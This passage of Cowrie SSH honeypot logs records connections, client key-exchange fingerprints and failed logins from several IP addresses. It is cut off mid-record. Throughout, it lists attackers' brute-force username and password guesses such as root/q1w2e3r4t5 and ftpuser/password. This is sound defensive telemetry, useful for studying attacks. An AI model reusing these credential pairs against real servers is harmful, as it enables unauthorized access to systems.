{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:00.342397Z","src_ip":"45.153.34.195","session":"b4469ea92d5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"codex","password":"codex","message":"login attempt [codex/codex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:00.666513Z","src_ip":"45.153.34.195","session":"b4469ea92d5b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:00.669891Z","src_ip":"91.92.40.36","session":"a77862c8d726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:00.672678Z","src_ip":"91.92.40.36","session":"a77862c8d726","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"2.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:00.711172Z","src_ip":"91.92.40.36","session":"0bc7b689ce2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.3","message":"Connection lost after 17.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:00.719137Z","src_ip":"91.92.40.36","session":"0bc7b689ce2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:01.750510Z","src_ip":"45.153.34.195","session":"b4469ea92d5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":26596,"dst_ip":"10.17.0.5","dst_port":22,"session":"6663330a5e5c","protocol":"ssh","message":"New connection: 45.153.34.195:26596 (10.17.0.5:22) [session: 6663330a5e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:03.061864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:03.125983Z","src_ip":"45.153.34.195","session":"6663330a5e5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:03.230335Z","src_ip":"45.153.34.195","session":"6663330a5e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":60396,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef820e49382f","protocol":"ssh","message":"New connection: 89.223.69.22:60396 (159.203.135.109:22) [session: ef820e49382f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:03.343668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:03.350800Z","src_ip":"89.223.69.22","session":"ef820e49382f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:03.466725Z","src_ip":"89.223.69.22","session":"ef820e49382f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RPM","password":"RPM","message":"login attempt [RPM/RPM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:03.632254Z","src_ip":"45.153.34.195","session":"6663330a5e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olya123","message":"login attempt [root/olya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:03.817142Z","src_ip":"89.223.69.22","session":"ef820e49382f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54302,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a223b48f3d5","protocol":"ssh","message":"New connection: 91.92.40.36:54302 (10.17.0.5:22) [session: 9a223b48f3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:04.343158Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:04.722419Z","src_ip":"45.153.34.195","session":"6663330a5e5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:04.935032Z","src_ip":"89.223.69.22","session":"ef820e49382f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":26608,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ae92a915780","protocol":"ssh","message":"New connection: 45.153.34.195:26608 (10.17.0.5:22) [session: 3ae92a915780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:05.954297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:05.965100Z","src_ip":"45.153.34.195","session":"3ae92a915780","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:06.236438Z","src_ip":"45.153.34.195","session":"3ae92a915780","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:06.270104Z","src_ip":"91.92.40.36","session":"9a223b48f3d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:06.273160Z","src_ip":"91.92.40.36","session":"9a223b48f3d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t5","message":"login attempt [root/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:06.703462Z","src_ip":"45.153.34.195","session":"3ae92a915780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:07.820521Z","src_ip":"45.153.34.195","session":"3ae92a915780","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":26614,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1dfb1d6165f","protocol":"ssh","message":"New connection: 45.153.34.195:26614 (10.17.0.5:22) [session: e1dfb1d6165f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:08.855158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:08.860399Z","src_ip":"45.153.34.195","session":"e1dfb1d6165f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:08.950234Z","src_ip":"45.153.34.195","session":"e1dfb1d6165f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"password","message":"login attempt [ftpuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:09.468481Z","src_ip":"45.153.34.195","session":"e1dfb1d6165f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:10.553008Z","src_ip":"45.153.34.195","session":"e1dfb1d6165f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"password","message":"login attempt [kafka/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:10.594976Z","src_ip":"91.92.40.36","session":"a77862c8d726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":26620,"dst_ip":"10.17.0.5","dst_port":22,"session":"215055560bbd","protocol":"ssh","message":"New connection: 45.153.34.195:26620 (10.17.0.5:22) [session: 215055560bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:11.887697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:11.892457Z","src_ip":"45.153.34.195","session":"215055560bbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:11.972808Z","src_ip":"45.153.34.195","session":"215055560bbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chenxi","password":"123456","message":"login attempt [chenxi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:12.314079Z","src_ip":"45.153.34.195","session":"215055560bbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:13.402050Z","src_ip":"45.153.34.195","session":"215055560bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28074,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6927606e71a","protocol":"ssh","message":"New connection: 91.92.40.36:28074 (10.17.0.5:22) [session: b6927606e71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:13.454381Z"}
{"eventid":"cowrie.login.failed","username":"avalanche","password":"avalanche","message":"login attempt [avalanche/avalanche] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:13.803257Z","src_ip":"91.92.40.36","session":"9a223b48f3d5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:13.903332Z","src_ip":"91.92.40.36","session":"b6927606e71a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["h